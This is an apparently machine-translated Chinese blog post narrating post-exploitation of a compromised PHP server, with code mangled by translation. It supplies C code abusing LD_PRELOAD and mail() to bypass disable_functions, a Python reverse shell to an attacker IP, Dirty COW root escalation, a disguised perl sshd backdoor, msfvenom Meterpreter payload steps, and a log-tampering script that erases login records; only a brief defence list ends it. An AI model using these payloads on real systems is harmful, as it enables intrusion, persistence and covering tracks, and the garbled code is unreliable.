渗透后如何提权

批林批孔2022-07-06  18

0x01前言有一天,朋友丢了一个贝壳,找我要电。我把它拿到壳边看了看。就连菜刀和蚂蚁剑都无法执行命令。

Getshell的漏洞分析位于:

然后花了很长时间一夜才搞对,中间走了很多弯路。。。

221最新网络安全\渗透测试/安全学习(全套视频、大厂访谈、优秀手册、必备工具包)I >:关注我,私信回复“资讯”

0x02信息检测最后phpinfo看看环境

PHP 5 . 6 . 30版disable_functions: passthru、exec、system、chroot、chgrp、chown、shell_exec、proc_open、proc_get_status、popen、ini_alter、ini_restore、dl、openlog、syslog、readlink、symlink、popepassthru sendmail _ path:/usr/sbin/sendmail-t-I MySQL:mysqlnd 5 . 0 . 11-dev-2012 0503

宝塔预警!

我问过Pagoda的开发工程师。宝塔真的做得很好。对Windows基本不抱希望。看看Linux吧。

0x03肝putenv这个不禁止,可以用,

lt?php #漏洞利用标题:PHP 5.x Shellshock漏洞利用(bypass disable _ functions)# Google Dork:none #日期:10/31/2014 #漏洞利用作者:Ryan King (Starfall) #厂商主页:;

没有机会。。

去吧,肝。。

0x04在gayhub上搜到的新希望LD_PRELOAD。

根据里面的代码bypass_disablefunc.c。

# define _ GNU _ SOURCE # include ltstdlib.h gt# include ltunistd.h gt# include ltsys/types . h gt;_ _ attribute _ _((_ _ constructor _ _))void preloadme(void){ unsetenv( # 34;LD _ PRELOAD # 34);const char * cmdline = getenv( # 34;EVIL _ CMDLINE # 34);系统(cmdline);}编的。

然后上传调用文件php。

lt?php echo # 34 ltp gt ltb gt示例 lt/b gt;: ?

还是用unix的LD_PRELOAD和php的putenv?

# include ltstdlib.h gt__attribute__((构造函数))void l3yx(){ unsetenv( # 34;LD _ PRELOAD # 34);系统(getenv( # 34;_ evilcmd # 34));}

使用php文件

lt?PHP putenv( # 34;_ evilcmd = echo 1 gt/root/tmp/222222 # 34;);putenv( # 34;LD_PRELOAD=。/evil . so # 34;);邮件( # 39;一 # 39;,#39;一 # 39;,#39;一 # 39;,#39;一 # 39;);

执行后,我刷新了目录!!!!去吧,我成功了!

但是像这样执行代码总是有很多不便,比如没有回音,执行带参数的命令时报错等等。

我们必须继续。。。

0x05光明未来的另一个村庄——bypass . c of-centos的修复版,作者解释:

如果你是个细心的人,你会发现这里的bypass_disablefunc.c和教程里说的不一样,只是用for循环把LD_PRELOAD的第一个字符修改为[27]。稍微懂一点C语言的,就会知道[27]是C语言字符串的结束标记。原因如下:Unsetenv(“LD_PRELOAD”)在某些Linux发行版(如CentOS)中可能无效,这么小的动作就能自动使系统原来的LD _ PRELOAD环境变量失效。

然后从环境变量EVIL_CMDLINE接收bypass_disablefunc.php传递的要执行的命令行。

使用命令:

gcc-shared-fPIC bypass _ disable func . c-o bypass _ disable func _ x64 . so

将bypass_disablefunc.c编译到共享对象bypass_disablefunc_x64.so中:

要根据目标架构编译成不同版本,在x64环境下编译。如果没有编译选项,则默认为x64。如果要编译成x86架构,需要添加-m32选项。

# define _ GNU _ SOURCE # include ltstdlib.h gt# include ltstdio.h gt# include ltstring.h gt外部字符**环境;_ _ attribute _ _((_ _ constructor _ _))void preload(void){//get命令行选项和arg const char * cmdline = getenv( # 34;EVIL _ CMDLINE # 34);//取消设置环境变量LD_PRELOAD。//unstenv( # 34;LD _ PRELOAD # 34)对某些//分布(如centos)没有影响,我需要诡计。int I;for(I = 0;环境[I];++ I){ if(strstr str(environ[I], # 34;LD _ PRELOAD # 34)){ environ[I][0]= # 39;[33]#39;;} } //执行指挥系统(cmdline);}

甚至~性!

后来,作者确实改进了代码

劫持getuid()的基本原理

前提是在Linux中安装并启用了sendmail程序。

php的mail()函数默认调用系统程序/usr/sbin/sendmail,而/usr/sbin/sendmail调用getuid()。如果我们可以通过LD_PRELOAD劫持getuid(),然后使用mail()函数触发sendmail程序执行被劫持的getuid(),那么我们就可以执行恶意代码。

提炼一下:

写一个原型为uid _ t getuid(void);c函数,内部执行攻击者指定的代码,编译成共享对象evil.so;

运行PHP函数putenv(),将环境变量LD_PRELOAD设置为evil .这样以后启动新进程时可以先加载共享对象;

运行PHP的mail()函数,mail()在内部启动一个新的进程/usr/sbin/sendmail。由于上一步LD_PRELOAD的作用,sendmail调用的系统函数getuid()被evil.so中同名的getuid()劫持,优先级更好;

达到各种命令执行功能(system()、exec()等)的目的。)仍然可以在不调用PHP的情况下执行系统命令。

# include ltstdlib.h gt# include ltstdio.h gt# include ltstring.h gtint geteuid(){ const char * cmdline = getenv( # 34;EVIL _ CMDLINE # 34);if(getenv( # 34;LD _ PRELOAD # 34)= = NULL){ return 0;} unstenv( # 34;LD _ PRELOAD # 34);系统(cmdline);} gcc-shared-fPIC bypass . c-o by PSS . so

编译后使用,发现还可以!

0x06脏牛可以执行命令,执行反弹壳就舒服多了。有交互外壳舒服多了。这里使用了python的反弹脚本。一般我总是先用pyhton,因为有些系统不一样,bash或者nc比较麻烦。

导入套接字,子进程,oss=socket.socket(socket。AF_INET,socket。SOCK _ STREAM)s . connect(( # 34;x . x . x . x # 34;,7777))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p = subprocess . call([ # 34;/bin/sh # 34;,#34;-我 # 34;]);监控一个波

成功反弹。

执行uname -a,读取下一个版本。

Linux cloud 2 . 6 . 32-642 . el6 . x86 _ 64 # 1 SMP Tue 5月10日17:27:01 UTC 2016 x86 _ 64 x86 _ 64 x86 _ 64 GNU/Linux

2.6,可以在自己的Linux环境下编译后上传到目标机器上执行,不需要在目标机器上编译。

然后静静等待脏牛替换掉根,然后面对目标机器。像这样大概需要几分钟。当要连接到ssh时,一些管理员会更改ssh的端口,您可以使用命令netstat -nlp看到它。

这是成功的。用户名是firefart,密码是刚刚设置的123456。

成功登录到目标计算机。

0x07连续访问-记住在-ssh后门登录目标机器后及时恢复/etc/passwd。

cp /tmp/passwd.bak /etc/passwd

那些pam补丁,隐藏文件,suid,inetd等等。都可以用作后门,具体取决于您的环境。

1.这个伪装成perl脚本的ssh后门,名为sshd,位于/usr/sbin/sshd,将系统原来的sshd移到/usr/bin。

#!/usr/bin/perlexec # 34;/bin/sh # 34;if(getpeername(STDIN)=~/^..ZF/);exec { # 34/usr/bin/sshd # 34;}#34;/usr/sbin/sshd # 34;,@ ARGV2.将真正的sshd移动到/usr/bin/sshd

mv /usr/sbin/sshd /usr/bin/sshd

3.移动后门sshd (perl脚本到/usr/sbin/sshd)并授予执行权限。

chmod +x /usr/sbin/sshd

4.重新启动ssh服务

/etc/init.d/sshd重新启动

5.连接后门,记得装socat。

sudo yum install socat

#socat STDIO TCP4:目标ip:ssh端口一般为22,sourceport = 31334 socat STDIO TCP 4:127 . 0 . 0 . 1:22,source port = 31334

0x08 metaspliot水平穿透。当然,msf对于intranet渗透是必不可少的。如果是Windows,推荐用CobaltStrike,一个非常好看的工具。

反正现在有了root的外壳,先弹起一个会话的Meterpreter,或者常规生成有效载荷,然后监听等待上线。

1.王先生成了后门

MSF venom-p Linux/x86/meter preter/reverse _ TCP LHOST = 192 . 168 . 79 . 132 LPORT = 4455-f elf gt;shell.elf

2.将shell.elf上传到目标机器上运行。

3.本地监控。

使用exploit/multi/handler设置有效负载Linux/x86/meter preter/reverse _ TCP设置LHOST 0.0.0.0设置LPORT 4455 exploit

4.执行后门反弹计量程序的会话。

chmod +x ./shell.elf。/shell.elf

5.检查跳板机在哪个网段。

运行获取本地子网

看一看。。。

但是这个属于外网,想了想觉得不是内网,一点意思都没有。。。

你做梦去吧。下次遇到内网,可以再写一篇关于内网渗透的文章。

0x09擦完屁股记得清理痕迹,以免追根溯源或者被管理员发现。附件是供您使用的脚本:

#!/usr/bin/env python import os,struct,sys from pwd import getpwnamfrom time import strpttime,mktime from opt parse import options parserutmpfile = # 34;/var/run/utmp # 34;WTMPFILE = # 34/var/log/wtmp # 34;LASTLOGFILE = # 34/var/log/lastlog # 34;LAST _ STRUCT = # 39I32s256s # 39LAST _ STRUCT _ SIZE = STRUCT . calc SIZE(LAST _ STRUCT)XTMP _ STRUCT = # 39;hi 32s 4s 32s 256 shhiii 4 I 20 x # 39;XTMP _ STRUCT _ SIZE = STRUCT . calc SIZE(XTMP _ STRUCT)def getXtmp(文件名,用户名,主机名):xtmp = # 39#39;try: fp = open(文件名, # 39;rb # 39)而True:bytes = FP . read(XTMP _ STRUCT _ SIZE)如果not bytes:break data = STRUCT . unpack(XTMP _ STRUCT,bytes) record = [(lambda s: str(s)。拆分( # 34;[83]#34;,1)[0])(I)for I in data]if(record[4]= = username and record[5]= = hostname):continue xtmp+= bytes except:show message( # 39;无法打开文件:% s # 39% filename)最后:FP . close()return xtmpdef modify last(filename,username,hostname,ttyname,strtime):try:p = getpwnam(username)except:show message( # 39;没有这样的用户。#39;)timestamp = 0 try:str 2 time = str ptime(strtime, # 39;% Y:% M:% d:% H:% M:% S # 39;)timestamp = int(mktime(str2time))除:show message( # 39;时间格式错误。#39;)data = struct.pack(LAST_STRUCT,timestamp,ttyname,hostname) try: fp = open(filename, # 39;wb # 39)FP . seek(LAST _ STRUCT _ SIZE * p . pw _ uid)FP . write(data)except:show message( # 39;无法打开文件:% s # 39% filename)最后:FP . close()return true def show message(msg):print msg exit(-1)def save file(filename,contents): try: fp = open(filename, # 39;w+b # 39;)fp.write(contents)除io error as e:show message(e)finally:FP . close()if _ _ name _ _ = = # 39;_ _ main _ _ # 39:用法= # 39;用法:log tamper . py-m 2-u B4 dboy-I 192 . 168 . 0 . 188 \ n \ log tamper . py-m 3-u B4 dboy-I 192 . 168 . 0 . 188-t tty 1-d 2015:05:28:10:11:12 # 39;parser = option parser(usage = usage)parser . add _ option( # 39;-m # 39;, #39;-模式 # 39;,dest = # 39模式 # 39;,默认= # 39;1#39;,help = # 391: utmp,2: wtmp,3:lastlog[默认值:1] # 39;)parser . add _ option( # 39;-t # 39;, #39;-tty name # 39;,dest = # 39TTYNAME # 39)parser . add _ option( # 39;-f # 39;, #39;-文件名 # 39;,dest = # 39文件名 # 39;)parser . add _ option( # 39;-u # 39;, #39;-用户名 # 39;,dest = # 39用户名 # 39;)parser . add _ option( # 39;-我 # 39;, #39;-主机名 # 39;,dest = # 39主机名 # 39;)parser . add _ option( # 39;-d # 39;, #39;-日界线 # 39;,dest = # 39日界线 # 39;)(options,args)= parser . parse _ args()if len(args) lt;3: if选项。MODE = = # 391#39;:if选项。用户名==无或选项。HOSTNAME = = None:show message( # 39;+[警告]:参数不正确。\ n # 39)if选项。文件名==无:选项。FILENAME = utmp file # tamper new data = getXtmp(选项。文件名,选项。用户名,选项。主机名)保存文件(选项。文件名,新数据)elif选项。MODE = = # 392#39;:if选项。用户名==无或选项。HOSTNAME = = None:show message( # 39;+[警告]:参数不正确。\ n # 39)if选项。文件名==无:选项。FILENAME = wtm file # tamper new data = getXtmp(选项。文件名,选项。用户名,选项。主机名)保存文件(选项。文件名,新数据)elif选项。MODE = = # 393#39;:if选项。用户名==无或选项。主机名==无或选项。TTYNAME ==无或选项。DATELINE = = None:show message( # 39;+[警告]:参数不正确。\ n # 39)if选项。文件名==无:选项。FILENAME = last log file # tamper modify last(选项。文件名,选项。用户名,选项。HOSTNAME,Options.ttyname,options . dateline)else:parser . print _ help()0x 10防御措施

1.这个渗透的切入点是目标站点的程序的上传漏洞,所以要对程序的上传点进行过滤,加入白名单。

2.其实Pagoda的功能已经严格屏蔽了php执行命令的功能,但还是有漏网之鱼。基于Pagoda禁用的函数的disable_function添加了putenv函数的disable。

3.是内核的bug。你要及时升级内核版本,执行以下命令,需要重启。

Centos/RHEL最新消息

sudo yum更新

Ubuntu/Debian更新

sudo apt-get更新 sudo apt-get远程升级

4.如果它被植入后门

你要及时检查和这台机器的连接,可以用netstat检查。

看看用户有没有变化,cat /etc/passwd。

查看可疑流程顶部

转载请注明原文地址:https://juke.outofmemory.cn/read/616762.html

最新回复(0)